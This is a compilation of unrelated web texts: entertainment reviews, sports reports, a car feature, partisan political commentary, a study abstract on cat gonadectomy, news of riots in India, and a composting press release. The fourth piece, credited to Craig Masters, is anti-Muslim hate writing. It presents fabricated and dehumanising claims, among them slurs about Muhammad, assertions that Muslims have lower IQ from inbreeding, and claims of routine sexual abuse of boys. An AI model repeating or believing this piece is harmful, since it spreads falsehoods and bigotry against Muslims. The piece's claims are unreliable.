-Spoilers~  Steven Universe is easily my favorite show on television right now. The art direction, the gorgeous animation, the wide array of lovable characters, the humor, the songs...it's a real gem, pardon the pun. If you don't watch it, I can't recommend it enough. It blends the humor and charm of slice of life stories with the adventure and mystery of fantasy/sci-fi. It's a fun, silly cartoon, but each episode is like a piece of a greater, overarching puzzle that makes up the story.  My body was NOT READY for the "Steven Bomb" season finale. I laughed, I cried, I shrieked inhumanly at the TV when Garnet "died", I shrieked again when she turned out to be a fusion, I watched her "Stronger than You" song/fight sequence more times than I can count (seriously, glad I was home alone that afternoon XD)...just wow. Rebecca Sugar has awakened in me a mighty need for magical space lesbians I never knew I had  don't ask what the heck that pose is about  just pretend they're floating and/or about to fuse  ps my favorite gem is garnet  and my favorite homeworld gem is jasper  and my favorite fusion is sugilite, cuz nicki minaj, hot damn
-This review contains spoilers of a film currently in theaters  Director: Francis Lawrence  The third film of the Hunger Games series was recently released in theaters and has continued the conversation about the nature of political repression and resistance. Like the previous two films, this story deals with the oppression of the “districts” by the powerful Capitol, which had used a yearly violent “hunger games” event where each district had to pay a “tribute” of two citizens to fight to the death in a battle royale that was broadcast across the country. The previous film ended with a plot by some of the tributes in concert with a resistance movement to destroy the arena during the broadcast of the games. This destruction of the arena launched a revolution throughout the districts against the Capitol and is what sets the stage for this film.  Mockingjay Part 1 begins shortly after the previous film’s end. Instead of focusing on the larger society of this universe, most of the time we spend in this film is focused on the resistance movement that is leading a revolution against the Capitol, along with the ruins of the districts that the Capitol has violently destroyed. The main character, Katniss Everdeen (played by Jennifer Lawrence) continues her role as the symbol of the resistance as she had in the previous films. The main difference in this film however is that the revolution was actively under way while in the previous film it was merely being anticipated. Katniss continues to be a unwilling hero and is constantly reluctant to help the resistance, often allowing her personal issues to get in the way of her dedication to the broader cause. For example, her partner from the games Peeta Mellark has been taken hostage by the Capitol and is being used to produce propaganda against the revolutionaries. She feels that he is being forced to denounce the revolution, but she becomes more concerned with saving him from his captors than trying to combat the propaganda that the Capitol has put out against the revolution. The revolutionary leaders are eager to have Katniss begin producing propaganda against the Capitol, as she is already a symbol for the revolution. While she does reluctantly agree, she adds the condition that Peeta (and other tributes) be freed and pardoned for their propaganda against the revolution. This decision upsets many of the revolutionaries but the compromise is made.  This personal motivation of hers is often portrayed as being more important to her than fighting the Capitol, until she is later shown first hand the destruction of her home district, which is when she begins to develop an even deeper opposition to the Capitol’s growing war against the districts. Once she begins to see the destructive nature of the Capitol, Katniss eventually comes around to helping the revolutionaries to a greater extent, but her motivation constantly remains highly personal and individualized. The other revolutionaries are sometimes frustrated by her selfishness and the film does a good job at portraying it as a major struggle between her and her comrades, a sort of critique of personal motivation in a time where great discipline is needed. While Katniss does eventually come around to supporting the revolution, her reluctance shows that she needed to learn to subvert her own interests to the interests of the broader movement. Although it is questionable how temporary her devotion is considering that her main goal remains rescuing Peeta.  The contrast between her personal motivation and the more collective mindset of the revolutionary movement is highlighted by the aesthetic portrayal of the resistance. The conditions that the revolutionaries live in resemble a sort of Ninteen Eighty Four type of society, where everyone wears the same jump suit, a military discipline is required from everyone, and goods and services are scarce. This way of portraying the resistance is an interesting choice that does not come off as a simple critique of their creeping authoritarian tendencies, but rather we are still meant to sympathize with the movement and see the necessity for that kind of discipline considering their conditions. Each film so far has had a different take on Panem (the fictional North American country in which the films take place). The first film focused on the consumerist and joyous character of the Capitol, the second film had a different take on the Capitol that portrayed it as a Fascist society with military parades inspired by Triumph of the Will, and this film focused instead of the seemingly militaristic society that was attempting to overthrow the Capitol’s rule. While this film does not try to make obvious moralistic statements about how the resistance is structured, there seem to be no implied critiques of how they have conducted themselves up to this point, and their ability to fight the Capitol seems to be justification enough for why they exist in the form they do. The brutality of the Capitol is made clear in all three films, so there is not much room for critiquing the way the revolutionaries have waged their war so far.  The film spent a lot of time dealing with the production of propaganda by the revolutionaries instead of focusing on Hollywood style military battles between the good guys and the bad guys. Both the Capitol and the revolutionary movement focus much of their efforts on trying to win a media war against each other, with Peeta being used by the Capitol to discredit the revolutionaries, and Katniss being used to spread the revolutionary message. Unlike most major films however, propaganda is not seen as an inherently negative or dishonest endeavor but rather just another tool of conflict.  Like the previous films, Mockingjay continues to be a film about revolt and subversion of an oppressive system. It is to a large extent a vague struggle between the “good” heroes and the “evil” oppressors which leaves room for much interpretation. This vagueness will allow commentators from both the Left and the Right to claim it as promoting their message. The way in which the resistance is portrayed and the nature of political propaganda complicate the good/evil dichotomy to an extent and show that struggles against oppression can be complicated even in a world like the one depicted in the Hunger Games.  Advertisements
-ONTARIO – Isn’t it wonderful that the Ontario Reign and San Diego Gulls play each other 12 times this season?  Given the way the boys behaved Saturday night at The Vault, in the second night of a back-to-back set, this relationship between the AHL affiliates of the Kings and Ducks is going exactly as planned. No love lost at all, and by the time these players arrive in the NHL, their distaste for the guys on the other side of the rivalry will be firmly in place.  For the record, San Diego won on the scoreboard 3-1 Saturday night, a second straight victory over the Pacific Division leading Reign. Goals by Tim Jackman, Nic Kerdiles and Antoine Laganiere gave the Gulls a 3-0 lead before Adrian Kempe scored his seventh of the year for the Reign.  But the tone was set 2:51 into the evening, when Ontario left wing Paul Bissonnette and Gulls right wing Brian McGrattan dropped the gloves and went at it.  It was not a random incident.  Reign players, as well as Coach Mike Stothers, were irate with McGrattan’s behavior in Friday night’s game in San Diego, specifically a fight with Reign defenseman Kurtis MacDermid in which the Ontario side felt McGrattan fired a couple of extra punches while the linesmen were breaking things up.  Stothers addressed it after the game, as reported by Lindsay Czarnecki on the Reign Insider blog:  “What is surprising to me is the lack of respect McGrattan had for the ‘code of a fighter.’ The (original) hit itself is one thing but why would he throw not one, but two punches, to the face of MacDermid when the linesman had ‘both’ tied up. MacDermid is defenseless at this point and could have been seriously hurt. I certainly would expect better of a guy that was once considered the heavyweight champ of the NHL. Physical is one thing, and a fair fight I can live with, but I can not stomach watching one of my players being taken advantage of, and possibly injured.”  Bissonnette, a veteran of 202 NHL games who had been out the previous six games with a back issue, personally addressed it on his first shift Saturday night.  “If I kind of take him out of the equation, maybe it settles the other guys down a little bit,” he said. “He’s a pretty scary guy. He’s been around a long time. I was just doing my job.”  McGrattan drew a 10-minute misconduct for “inciting” the scrap, in addition to the five-minute fighting major. Later, Andrew Crescenzi dumped McGrattan over the boards and into the San Diego bench, touching off another fracas that ended with the Gulls’ Mike Sgarbossa drawing a double-minor, Crescenzi a roughing penalty and McGrattan another misconduct.  Oh, and did we forget the chirping between Stothers himself and McGrattan?  “I just asked him how his family was,” the Ontario coach said with a hint of a smirk. “He must have read the tweets, I guess, of my postgame comments. I stand by what I said. If he doesn’t like it, too bad.”  McGrattan – a 34-year-old right wing who has played 317 NHL games with Ottawa, Phoenix, Calgary and Nashville sandwiched around a lot of games in the minors – probably didn’t intend to be the face of this rivalry. But hockey’s funny that way.  And Bissonnette’s willingness to engage helps explain why the Kings signed him to an AHL contract in Manchester last season, and why they brought him back this year. These are lessons that can be valuable to younger players, lessons about sticking up for your mates and taking one for the team when needed.  “You talk about a character guy, you talk about a teammate, you talk about a guy you need in your dressing room and on your bench,” Stothers said. “He’s involved the whole game long, whether he’s pumping up our guys or chirping the other team.  “I think (the combination of Bissonnette and Scott Sabourin, another rugged forward) go out and they’re a little reckless. They bang around. It’s exciting.  “You just stand back and say, ‘I don’t know what’s going to happen now.’ That’s the beauty of it.”  Just think, there are nine more games to go between these teams, including one more back-to-back to close the season, April 15-16.  Good seats, I presume, will be available.  Contact the writer: jalexander@pe.com
-By Craig Masters  The photos are horrific. Groups of young Muslim girls gathered by their own mothers and other family members, held down and screaming in pain while the perverted followers of the political system called Islam mutilate their sex organs in a mass “ceremony” totally endorsed and practiced throughout the Muslim world. But Indonesia has one of the largest Muslim populations in the world and the government’s ability to even slow down this barbaric practice of mutilation of female genitalia has failed so miserably that the Ministry of Health finally decided to try to reduce the severity of these bloody mutilations by publishing approved “guidelines.”  According to a report published in the Jakarta Globe, guidelines on how to perform female genital mutilation/cutting issued by the Indonesian Ministry of Health could cause an increase in the practice, medical experts and rights groups fear. The “guidelines” are not an approval for the practice, but the hope is, “This will give doctors a new motivation to circumcise [girls] because now they can say the Ministry of Health approves of this, and the Indonesian Council of Ulema [MUI] approves of it,” said Jurnalis Uddin, a doctor and lecturer at Yarsi University in Jakarta.  The hope is that if a doctor performs the service, there might at least be some anesthetic relief and sterile instruments; unlike used razor blades and no effort at all to avoid infection. After all, according to the teachings of the founder of Islam, an openly homosexual zoophile named Muhammad, Muslim men are expected to ensure the sexual obedience of their women by mutilating them to the point of eliminating their ability to enjoy sexual pleasure.  Experts say there has been increasing support for the practice from Muslim groups since the downfall of authoritarian Indonesian leader, Suharto, in 1998, resulting in greater religious and political freedom, known as “Reformasi.”  “Before Reformasi, female genital mutilation/circumcision [FGM/C] was mostly done on an individual basis, but since Reformasi, it has been done in mass events,” said Siti Musda Mulia, an academic specializing in Islamic studies, who initially conducted research on the process during the Suharto era, and has conducted follow-up research since 1998.  According to a report published by the Huffington Post in February of 2011, the United Nations released an estimate of 90% of women in Egypt have been subjected to sexual organ mutilation. And the numbers are expected to be as high in at least a dozen more countries among the 28 countries currently identified as having widespread female mutilation practices. But worse news will probably come from within the previously closed societies of Iran, Iraq, and Afghanistan where Islamic practices are compounded by centuries of in-breeding which have resulted in a population with a lower IQ than the rest of the world.  But the sexual deviancy of practicing Muslims has an economic impact as well as a mental one. Mental abuse resulting from the Islamic standard practice of sexual abuse of young boys has resulted in lack of both ambition, and the feeling of destitution. According to the U.S. Central Intelligence Agency report on the economic output of the north African coastal region, the non-oil GDP of the entire region is less than the state of Georgia (2009, $395billion). This indicates that employment opportunities are non-existent. The lack of opportunity and hopelessness, combined with a genetically reduced IQ ,is the ideal breeding ground for terrorists convinced they can have more sex in their afterlife if they simply follow just one last order by an imam who may well have sexually abused then as young boys.  There is one beneficial aspect of the predictable sexual perversion of Muslim leaders. Al Qaeda leader, Abu al-Zarkawi, was attending a regularly scheduled Thursday night homosexual orgy that had become “legalized’ by the local Imam who had declared that Allah was busy on Thursdays so there would be no sin for the guy on the bottom. Remember, the man on top is not committing a sin, according to the Quran.  Share on Facebook
-Classic cars are great to look at. Their sharp chrome bumpers and bold grilles might not be ideal for aerodynamics or pedestrian safety, but they sure do look good.  The problems with owning a classic car start when you climb behind the wheel. Most pre-1960 classics struggle to drive at highway speeds for extended periods of time and braking must be done months in advance to prevent flying through a red light. What are people supposed to do when they want that cool 1950’s style but still need a daily driver? Jonathan Ward of ICON in California thinks he might have the answer: Why not have an unassuming-looking vintage car with modern underpinnings?  There is a shop in California that brings rusty classics into the modern age. It's called ICON customs Clayton Seams , Driving  The ICON workshop is always busy and full of various classics getting the ICON treatment. Clayton Seams , Driving.ca  The bench seats are actually specially filled with high and low density foam to create a bucket seat effect while maintaining the classic look. Clayton Seams , Driving.ca  This Buick uses a supercharged Corvette engine. Note the hand aged plastic cover. Clayton Seams , Driving.ca  The weathered finish of the Derelicts is preserved instead of being painted over. Clayton Seams , Driving.ca  The waiting list to get your very own ICON Derelict is more than two years. Clayton Seams , Driving.ca  “The problem with older cars,” Ward says, “is that you’re a martyr to them.”  Ward realized early on that using a stock 1950’s car as daily transportation was fraught with issues, so he decided to build a 1950’s car of his own. He started with a 1952 Chrysler station wagon that had a lovely rusted and faded patina and added the front clip of a similarly aged DeSoto. Then he got creative.  The ancient Chrysler underpinnings were replaced with an advanced Art Morrison chassis with modern suspension and powerful disc brakes, then a modern 6.1-litre Dodge Hemi was placed under the hood.  This is the point where most hot rodders would paint the wagon a deep metallic red and add modern leather bucket seats to the interior. But Ward did the opposite. He clear-coated the original faded paint on the wagon to preserve it and kept the original layout of the interior. He retained the pizza-sized steering wheel and made all the antique chrome switches and knobs work with a modern climate control system.  It started out as a personal project, but when he was finished, he realized, “This is ICON,” and he turned it into a business.  The car went on to win multiple awards, made it onto an episode of Jay Leno’s Garage, was featured on the cover of Hot Rod magazine and soon enough, requests starting pouring in from people who wanted their very own “brand new” beat-up hot rod.  Ward calls these cars the Derelicts and if you want one, you have to put down a hefty deposit and then wait more than two years before they can even start work on your car. But when you see these cars up close, it’s easy to see why people are willing to wait.  The attention to detail borders insanity. Every visual cue of the cars’ modern underpinnings are carefully hidden. One customer wanted a centre armrest with a modern big-gulp sized cupholder and a charge port for his iPhone. Ward says it took over 140 hours to design, prototype, cad plate and upholster. And that was just for the armrest! Even the bench seats, which look low-tech, feature different kinds of foam to create a bucket sensation as you sit on them with a subtle bolstering effect. It’s easy to walk around one of these cars for hours just soaking in the details.  The fact that these cars don’t require intensive maintenance opens up the market for a whole new buying demographic. Many of the people who buy ICON Derelicts aren’t the type who spend their weekends rebuilding engines on their kitchen table, but are a new kind of enthusiast that want classic style with modern drivability.  But the Derelicts are just one part of ICON’s business. ICON started out as a company making off-road parts for Toyota Land Cruisers and today they make turn-key Land Cruisers and Ford Broncos with modern components. But their off-roaders have paint. Of course, they’ll still make you a Derelict should you wish, but Ward acknowledges that the Derelict cars are “the dumbest business thing we do” because of the insane amount of time it takes to build each one.  There are, of course, people who don’t “get” the Derelicts. The whole point is to preserve that beautiful natural patina the cars have earned, but some people just don’t understand the appeal. But if you want a truly one-of-a-kind classic that gets attention at every car show and can drive you to and from work without issues, you might want to consider getting in line for a Derelict.
-Former FBI Asst. Director: Original Clinton Probe 'Not a Real Investigation'  Fmr CNN Executive Reacts to Donna Brazile-Hillary Debate Question Leak  O'Reilly: 'Americans Will Be Uneasy' No Matter Who Wins Presidency  Rudy Giuiliani reacted to new WikiLeaks revelations that Hillary Clinton's campaign chairman apparently called for the "dumping" of several emails prior to a subpoena.  "There's no question anymore as to whether or not Hillary Clinton, [Huma] Abedin, and [John] Podesta violated the laws," Giuliani, a former New York City mayor, told Sean Hannity.  "You'd have to be almost stupid not to realize it," he said, adding that the "dump" remark showed that the Clinton team's "first reaction is to do something criminal."  Giuliani pointed out that the "dump" remark came before 33,000 emails were "bleached" rather than handed over.  "That's a pretty sophisticated level of crime. Now she says she wants the emails turned over. Well, Hillary if you wanted the emails turned over, what'd you bleach them for?"  He added that more shocking aspect is "the tremendous cover-up that took place" and the corruption of the Justice Department.  He said that Attorney General Loretta Lynch recused herself from the email probe: "Yet she was telling the director of the FBI that he couldn't respond to Congress" before Friday's letter from Comey.  "The Justice Department, it seems to me, is the one that corrupted this investigation," he said, "There has to be a couple of people there that are also going to be liable eventually when this gets investigated."  Watch the full discussion above.  What Did Clinton Campaign Chair Mean By 'Dump Emails' Before Subpoena?  Krauthammer: Clinton 'Drowning in Cumulative Effect' of WikiLeaks, FBI Probe  Gutfeld on Clinton 'Sexism': Hillary 'Looks Out for Only Herself'
-Prepubertal gonadectomy (PPG) is promoted for population control in cats, but concerns related to health and behavior still exist. From a behavioral point of view, in order for PPG to be an acceptable alternative for traditional-age gonadectomy (TAG), the occurrence of undesirable behavior should be unaffected by age at gonadectomy. The aims of this study were to investigate (1) whether the average number of (potentially) undesirable behaviors in shelter kittens during 24 months after adoption was associated with the age at gonadectomy and (2) whether social or environmental factors were related to the occurrence of commonly reported undesirable behaviors (inappropriate elimination, fearfulness, aggression, and destruction). Eight hundred healthy kittens between the estimated age of 8 and 12 weeks (0.7 and 1.4 kg) were recruited from animal shelters in Flanders, Belgium. Before adoption, kittens were randomly assigned to a PPG group (gonadectomy on assignment) and a TAG group (gonadectomy between 6 and 8 months of age). Online short- and long-term follow-ups were conducted using a 30-day diary immediately after adoption and surveys at 2, 6, 12, 18, and 24 months after adoption. Mean number of potentially undesirable behaviors per day during the first month after adoption was not significantly different between PPG (1.48 ± 0.957) and TAG (1.39 ± 0.899) kittens (P = 0.32) and neither was the evolution of the mean number of potentially undesirable behaviors and undesirable behaviors during the long-term follow-up (P = 0.0946 and P = 0.10, respectively). The occurrence of inappropriate elimination, fearful behavior, non–play-related aggression, and destruction was associated with other social and environmental variables (e.g., the use of punishment by the owner and friendliness toward a stranger). In conclusion, this study in shelter cats did not demonstrate an effect of age at the time of gonadectomy on the mean number of (potentially) undesirable behaviors during 24 months after adoption. Other factors seem to play a more dominating role in the development of such behaviors.
-Mobs rampaged across a north Indian state on Friday, leaving 28 people dead and more than 250 others injured, after a court declared a quasi-religious sect leader guilty of raping two of his followers, authorities said.  Mobs set fire to government buildings and attacked police and TV journalists in the town of Panchkula in Haryana state, smashing the windshields of news vans and breaking broadcast equipment.  Police initially used tear gas and water cannons and then fired bullets in the air in an attempt to control the surging mobs as people vandalized bus stations and government vehicles.  "The situation is tense. There has been arson and burning," Rajiv Mehrishi, the federal home secretary, said late Friday.  He said more than 1,000 of the guru's supporters had been detained in Panchkula on charges of arson and destruction of public property.  The special court announced the guilty verdict on Friday after hearing closing arguments in the 15-year-old case against the guru, who calls himself Saint Dr. Gurmeet Ram Rahim Singh Ji Insaan.  Indian paramilitary soldiers stand guard near an Indian court in Panchkula on Friday. Several north Indian cities were under a security lockdown as a court issued a verdict in a rape case involving a man who calls himself Saint Dr. Gurmeet Ram Rahim Singh Ji Insaan. (Altaf Qadri/Associated Press)  The guru, who had denied the charges of raping the two women at his ashram in 2002, was flown by helicopter to a jail in the nearby town of Rohtak because district officials feared they would be overrun by his supporters. His sentencing is to be held Aug. 28, prosecutor H.P.S. Verma said.  Tens of thousands of followers had camped overnight awaiting the verdict.  Internet services shut down  Violence also broke out elsewhere in Haryana and the neighbouring state of Punjab, as well as in the capital, New Delhi, police said. Railway stations in the towns of Malout and Balluana were ablaze, and two coaches of an empty train parked in New Delhi's Anand Vihar station were set on fire.  A curfew was imposed in at least four districts of Punjab, said Amrinder Singh, the state's chief minister.  A spokesperson for the guru's sect, Dera Sacha Sauda, urged his supporters to remain calm.  "I just want to request everyone to maintain peace at the moment," said Dilawar Insan. "We will explore what legal options are available to us."  The sect claims to have about 50 million followers and campaigns for vegetarianism and against drug addiction. It has also taken up social causes such as organizing the weddings of poor couples.  Such sects have huge followings in India. It's not unusual for their leaders to have small, heavily armed private militias protecting them.  Angry mobs also attacked police in the town of Sirsa, where the guru's ashram is located, local police said.  When the guru left his ashram early Friday for the hearing, he was accompanied by a convoy of more than 180 vehicles, Singh, the Punjab chief minister, said.  Police erected heavy metal barricades topped with barbed wire along main roads in the town, a quiet residential suburb of Chandigarh, the joint capital of Haryana and Punjab states.  Authorities ordered internet and cellphone services shut down across both Haryana and Punjab as a security precaution.  Train services were cancelled in the area, leading to railway delays across north India. Schools and colleges were also closed.  The case was tried in a special court run by India's top investigative agency, the Central Bureau of Investigation.  Ram Rahim Singh, seen in a May file photo, was convicted of raping two followers, prompting the violent protest. (Tsering Topgyal/Associated Press)  Such cases against religious leaders have prompted violence in the past.  Clashes in 2007 between Dera Sacha Sauda followers and members of the Sikh faith left at least three people dead in north India.  In 2014, six people were killed when followers of another religious leader, guru Rampal, fought pitched battles with police who were attempting to arrest him after he repeatedly failed to appear in court in connection with a murder trial.  In a televised appeal on Thursday, Ram Rahim Singh asked his supporters not to resort to violence, but some said they would not tolerate a verdict that went against their leader.  "I consider guru-ji to be only next to God," farmer Malkit Singh said as he squatted on the ground in a park, saying Ram Rahim Singh had cured him of a 10-year addiction to drugs.  "There is a God above," he said. "Our guru-ji follows the path of truth."
-Copyright by WCMH - All rights reserved  COLUMBUS (WCMH) -- President Barack Obama is scheduled to stop in Columbus, on Tuesday, encouraging people to vote early and for Hillary Clinton.  The visit will be Obama's second to the area, in the matter of weeks.  On October 13, he served as the keynote speaker at the Ohio Democratic Party's state dinner.  Tuesday's campaign stop will be at the Capital University field house. Doors open at 2:30pm, with the event beginning at 4:30pm.  Members of the public interested in attending can RSVP here.  The field house is located at 2360 E. Mound St., Columbus OH 43209.  Tickets can be picked up at the following locations, according to Clinton's campaign:  Saturday, October 29  1:00 pm - 4:00 pm  Upper Arlington Ohio Together Office  1640 W. Lane Ave.  Upper Arlington, OH 43221  Sunday, October 30  10:00 am - 8:00 pm  Harry C. Moores Student Union Lobby  ‎745 Pleasant Ridge Dr.  Columbus, OH 43209  Sunday, October 30  1:00 pm - 4:00 pm  Upper Arlington Ohio Together Office  1640 W. Lane Ave.  Upper Arlington, OH 43221  Monday, October 31  2:00 pm - 8:00 pm  Columbus Ohio Together Office  975 Parsons Ave.  Columbus, OH 43206  Monday, October 31  2:00 pm - 8:00 pm  Columbus Ohio Together Office  1574 N. High St.  Columbus, OH 43201
-Now more than a week into training camp, the Ottawa Redblacks are looking at two Canadian Football League preseason games that could decide who stays and who goes.  The Hamilton Tiger-Cats are in Ottawa for a game Thursday night, and then the Redblacks will travel to Montreal to face the Alouettes on June 15.  “I’m not totally committing to this, but, if people are healthy, they’re dressing and they’re going to play,” Redblacks head coach Rick Campbell said after Monday’s practice. “We’ve had a bunched-up schedule in the pre-season in the past, but the spacing is a week apart (this year), so we’ll probably play everybody in both games.”  Campbell and the coaching staff had a chance to evaluate film after Saturday’s mock game.  “It’s kind of what I thought,” Campbell said. “We have guys who are enthusiastic and working hard. There are things we need to clean up. That’s part of training camp. Part of the trick to becoming a good team is you get better at things each day and check things off the list as you go.  “We want to reduce the penalties as much as possible. We’re trying to make sure guys know the scheme and know what we’re doing so we can play fast.”  Lineman Ceresna back for another shot  A year ago, fresh off from receiving a look from the National Football League’s Kansas City Chiefs, was hoping to earn a spot on the Redblacks roster.  Now, in 2017, it’s much the same for the big defensive lineman.  The 22-year-old Ceresna was released by the Redblacks last year after breaking a hand, a “freak accident” where he got tripped up.  After he left Ottawa and his hand healed, he received a call from the NFL’s New York Jets and agreed to sign. Near the end of the pre-season, he hurt an ankle in a pileup and was released.  He kept training and worked in a physical therapy clinic, waiting for another professional opportunity.  Ceresna participated in an NFL veterans combine in March, but that didn’t generate any solid offers, so he agreed to return to Ottawa.  “I’m getting good feedback so far,” he said Monday. “They like the way I’m playing. I’m just trying to make plays and keep doing everything I can to make this the best team possible.”  At 6-6 and 294 pounds, Ceresna was a beast in college football for State University of New York at Cortland. He recorded 142 tackles, 42 quarterback hurries and 14.5 sacks.  tbaines@postmedia.com  Twitter.com/TimCBaines
-Well, I’m not sure that myth is quite dead yet, but it appears that it took a direct hit. Still, a majority of Democrats believe that Russia hacked the election. And by hacked, I mean messed with vote tallies. There is no evidence to suggest that, as DHS officials, including former Secretary Jeh Johnson, noted this week. The Russians did not tamper with the vote totals. Regardless, this is some of the best tin-foil hat drama from the Left in a long time. Still, for the NY Post’s editorial board, Johnson and company’s testimony killed this myth and blamed the Obama administration for peddling it and mishandling the situation to the point where it snowballed into unbridled hysteria. Now, they do admit, like everyone else, that there was a Russian interference campaign waged by fake news and social media trolls, but added that it played no pivotal role—and it didn’t:  Johnson told the House Intelligence Committee outright that the Russians failed to alter “ballots, ballot counts or reporting of election results.” Yes, it’s clear Russia (with Vladimir Putin’s full approval) orchestrated cyberattacks designed to influence the 2016 contest, and also pushed fake news. But the hack, and release via WikiLeaks, etc., of Democratic emails produced nothing game-changing. The biggest impact was to confirm the obvious: The Democratic National Committee favored Hillary Clinton from the start. […] Johnson also made it plain that Democrats didn’t take the problem too seriously: “The FBI and the DNC had been in contact with each other months before about the intrusion, and the DNC did not feel it needed DHS’s assistance at that time.” Johnson also explained why the Obama administration kept quiet on the threat. The White House, he recalled, argued that a public admission of possible Russian interference might be seen as an effort to influence the election — particularly since Donald Trump was warning “the election was going to be rigged.” That is: Because Obama was fervently campaigning for Clinton, the White House figured that raising alarms about Russian interference would seem mere electioneering. […] The administration didn’t take action until after Election Day, when it slapped Moscow with new sanctions — putting the question of Russian interference on Page One only after Trump had won. It’s good that the hysteria has finally died down, but too bad Team Obama’s handling of it all helped produce so much misdirected hysteria in the first place.  Following Hillary Clinton’s defeat, The New York Times reported that Obama officials were rushed to spread their information about Russian meddling with as many people in government as possible. The only question here is why now? If Russian interference was so terrible, why didn’t they take action? Former CIA Director John Brennan did reach out to his Russian counterparts to tell them to quit their activities concerning our election, but were not heeded. After that, there was nothing. Maybe that’s why there are reports that Hillary Clinton is actually more infuriated with Obama than James Comey or the Russians.  The issue is that Democrats are still going mad over Trump being president. It will be exacerbated by Jon Ossoff’s loss in Georgia, making the Democratic Party 0-4 in special elections. Maybe the Russians tampered with those vote totals too, huh? Or maybe it’s just that the Left isn’t coming out of the political wilderness just yet.
-Christopher Strong (Photo: Courtesy photo)  "I shot him. It was me," the man shouted to police.  Minutes earlier, he had intervened in a domestic dispute prosecutors say could have left him and his female neighbor dead. Prosecutors ruled he acted in self-defense last year when he wrestled a gun away from Christopher Strong, 27, and shot him with it.  None of that was immediately clear the night of Sept. 16. Police found the neighbor performing CPR on Strong when they arrived around 10 p.m. to the South Pine Street apartment where Strong lived with his girlfriend. Strong, shot once in the chest, died at the scene a short time later. Police handcuffed the neighbor, who at one point appeared on the verge of passing out and asked to speak to his pastor, according to police reports.  Ingham County Prosecutor Stuart Dunnings III ruled Strong's death a justifiable homicide late last year, he confirmed earlier this month.  The State Journal is not naming the woman or the neighbor because they were not charged with a crime.  'Call the police'  Strong had been drinking before arriving home that night, the girlfriend told police, and a fight ensued.  Strong kicked her leg and spit in her face, she told police. She dialed 911 when Strong refused to leave. That agitated Strong, who threatened her with a semi-automatic handgun loaded with hollow-point bullets, according to records. The gun was registered to Strong's ex-girlfriend, police said.  According to his then-girlfriend, Strong said: "If anyone shows up, no one is getting out of this apartment." She took that to mean he would kill her, her son and himself, she told police.  At 9:45 p.m, she texted the neighbor: "Can u come get (my son) hes at ur door please and call the police." The neighbor let her son inside.  At 9:51 p.m., the neighbor replied: "Can u leave safely."  The neighbor went to the couple's apartment and heard a gunshot after entering, he told police. An errant shot had been fired, according to police.  The neighbor told police he then attempted to wrestle the gun away from Strong, who struck him several times in the head with the butt of the gun. As the struggle continued, the neighbor got control of the gun and shot Strong, according to police. The neighbor told police he pulled the trigger because he feared Strong would overpower and kill him.  Contrary to the police report, Strong's brother, Lilton Montgomery Jr., said Strong would never threaten to shoot his girlfriend or her son. Montgomery said the neighbor took matters into his own hands and should have waited for police. He said police relied too heavily on the accounts of the girlfriend, the neighbor, and what tenants said they heard, and not enough on physical evidence.  "What we know of Chris, the story just doesn't add up," Montgomery said. "I think he was scared that night. He didn't know what to do."  "Outside of the police report, the family's concerns pertain to the police investigation itself," Strong's father, Lilton Montgomery Sr., said in an email. "The family maintains the feeling that justice has not been served in Chris' homicide case."  Strong's family moved from Detroit to Lansing in the 1990s to find a safer home, Montgomery Jr. said  Strong had recently started a job driving commercial trucks and hoped to drive around the country. His obituary said he volunteered frequently in the community for local nonprofits, get-out-the-vote campaigns and Hurricane Katrina relief efforts.  "This is our absolute worst case scenario that he would get shot," Montgomery Jr. said. "He had his issues, but he was a positive person."  Read or Share this story: http://on.lsj.com/1yCFwSO
-SEATTLE, July 2 /PRNewswire/ -- Cedar Grove Composting announced today that it is working with BioFerm Energy Systems, a German-based clean energy generation company owned by The Viessmann Group, to integrate anaerobic digestion into its composting process. The proposed technology employs a high-solids anaerobic digester that produces a usable biogas by enhancing natural processes to convert food scraps and yard clippings into a viable fuel. That biogas can then be used as either natural gas for auto and truck fuel or to produce electricity. Cedar Grove is in the engineering and design phase of this project.  "Cedar Grove is always seeking proven new technologies to bring waste materials to a higher use, for example, turning food waste into compost or energy," said Steve Banchero, Cedar Grove Composting CEO. "Cedar Grove is moving into the next realm of its development, the creation of green energy from food scraps that were once destined for a land fill. This is the closed loop business model that is our core competency and focus."  The project is one of the first and largest of its kind in the U.S. The digester will produce biogas by converting once wasted food and yard scraps into digestate that can then be combusted to produce electricity and heat, or be scrubbed to natural gas quality. These can be used as a renewable alternative to compressed natural gas applications, such as transportation fuel. Once operational, the digester will produce energy equivalent to the electricity usage of 400 homes or the fuel for 1,100 passenger vehicles per year.  "Like all of our sustainable business models, we need a healthy aftermarket for the products and by-products we produce in order for our programs to be viable," continued Banchero. "Our model is to continue to make quality products from materials that are otherwise destined for the landfill and sell them back into our local market. We are currently looking to secure contracts for sale of electricity or natural gas in order to complete our digester business plan."  "We have researched this technology in use in Europe and we are hopeful through our partnership with BioFerm that we can adapt it to U.S. standards and economics. We are excited about its potential to produce green energy from food scraps and yard waste," Banchero said. "Our plans are to start with a relatively small digester and expand the use of this technology when it has proven itself in our system."  By producing energy from food waste and reducing green house gases, Cedar Grove will help reduce landfill volumes, saving space for items that truly have no greater usage. Energy made from source separated food and yard waste is also a cleaner fuel than landfill derived methane.  About Cedar Grove Composting  Cedar Grove Composting is part of a family-owned 400-employee enterprise with roots in the waste management business going back to 1938. As the Pacific Northwest's leading organic recycling company, Cedar Grove transforms grass, leaves, yard trimmings, food waste and wood waste into the finest, nutrient-rich compost. Cedar Grove has developed a full line of healthy soils with a loyal following and has grown from humble beginnings to one of the largest urban composting facilities in the world. Check www.cgcompost.com or call 206-832-3000 for more information.  SOURCE Cedar Grove Composting
-Getty Images  With the first of their two first-round picks in the 2015 NFL draft, the Saints have bolstered their offensive line.  Andrus Peat, an offensive tackle from Stanford, is going to New Orleans as the 13th overall pick.  The pick is one that will surely make Drew Brees happy, as Peat should make an immediate difference along the Saints’ offensive line. Brees has been sacked 37 and 29 times in the last two seasons, the two highest sack totals of his career. Peat should help bring that number down.  The Saints still have plenty of holes on their roster and are in precarious salary cap shape, but they’ll get another first round pick in a couple hours: Trading Jimmy Graham netted New Orleans the No. 31 overall pick. Perhaps that will also go toward a player who will make Brees happy.
